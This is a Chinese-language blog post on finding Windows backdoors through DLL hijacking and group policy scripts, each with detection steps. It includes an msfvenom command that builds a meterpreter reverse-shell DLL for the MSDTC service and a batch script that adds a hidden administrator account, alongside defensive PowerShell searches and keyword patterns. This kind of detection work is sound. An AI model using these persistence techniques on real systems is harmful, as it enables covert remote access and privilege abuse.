Windows后门排查_2025/11/24(持续更新)

Windows后门排查

dll劫持

dll劫持介绍

劫持原理:

为了性能需求,程序开发时会同时开发一些dll文件,不过并没有指明绝对路径;所以程序启动时就会寻找并加载这些dll文件,寻找并加载的优先级如下:

1.应用程序所在目录
2.C:\Windows\System32
3.C:\Windows\System
4.C:\Windows
5.当前工作目录
6.PATH环境变量中的目录

如果用户有权限修改替换其中的文件为后门,当程序启动时就会运行后门。

示例(MSDTC服务):

当MSDTC服务启动时,它将搜索注册表中的dll文件oci.dllSQLLib80.dllxa80.dll

4ebc576c22d69080bbea1b7288013272

Windows系统默认不包含oci.dll,我们通过如下方式生成一个恶意的oci.dll文件:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=4444 -f dll >oci.dll

将这个恶意文件上传到 C:\Windows\System32 目录下,重启msdtc服务就能加载后门。

taskkill /f /im msdtc.exe
net start msdtc

检测手段

1.排查常见劫持DLL文件名

目录 常见劫持DLL文件名
C:\ProgramData\ version.dll, wlbsctrl.dll, cryptsp.dll
C:\Windows\Temp\ version.dll, VBoxService.dll
%TEMP% nvcuda.dll, dwmapi.dll
C:\Users\Public\ COMCTL32.dll, powrprof.dll
C:\Windows\System32\spool\drivers... printconfig.dll
# 1. 检查WMI劫持
Get-ChildItem "C:\Windows\System32\wbem\" -Include version.dll,wlbsctrl.dll -Recurse
Get-ChildItem "C:\ProgramData\" -Include version.dll -Recurse

# 2. 检查打印机驱动劫持
Get-ChildItem "C:\Windows\System32\spool\drivers\x64\3\" -Include *.dll -Recurse

# 3. 检查TS远程桌面劫持(tsappcmp.dll, tsmsisrv.dll)
dir "C:\ProgramData" tsappcmp.dll /s

2.工具扫描

https://github.com/yeyintmynwht/DLL-Hijacking-Scanner

https://github.com/stephenfewer/ReflectiveDLLInjection/tree/master/dll_hijack_detect

https://learn.microsoft.com/sysinternals/downloads/process-explorer)

组策略

组策略脚本

内容:

创建一个脚本,内容是添加隐藏用户:

@echo off
net user test$ 123456 /add
net localgroup administrators test$ /add
exit

打开组策略添加脚本:

99b41984a3b9ed0af0122296874a9f15

关机后就会执行脚本。

检测手段

1.直接打开组策略编辑器检查

类型 GPO路径(域控SYSVOL) 典型恶意文件
计算机启动/关机脚本 \\domain\SYSVOL\domain\Policies\{GPO-GUID}\Machine\Scripts\Startup .ps1 / .bat / .vbs / .exe
计算机启动/关机脚本 ...Shutdown 同上
用户登录/注销脚本 ...Policies\{GPO-GUID}\User\Scripts\Logon .ps1 / .bat / .vbs / .exe
用户登录/注销脚本 ...Logoff 同上

2.通过组策略脚本执行的注册表持久化

搜索所有组策略下发的注册表项(重点看Run键)

Get-ChildItem "\\$env:USERDNSDOMAIN\SYSVOL\$env:USERDNSDOMAIN\Policies" -Recurse -Include Registry.xml | ForEach-Object {
    Select-String -Path $_ -Pattern "Run|RunOnce|AppInit_DLLs|IFEO|shell|powershell|cmd|bitsadmin" -Context 0,5
}

3.工具扫描:

红队利用工具:https://github.com/FSecureLABs/SharpGPOAbuse

posted @ 2025-11-24 18:36  Neur0toxin  阅读(6)  评论(0)    收藏  举报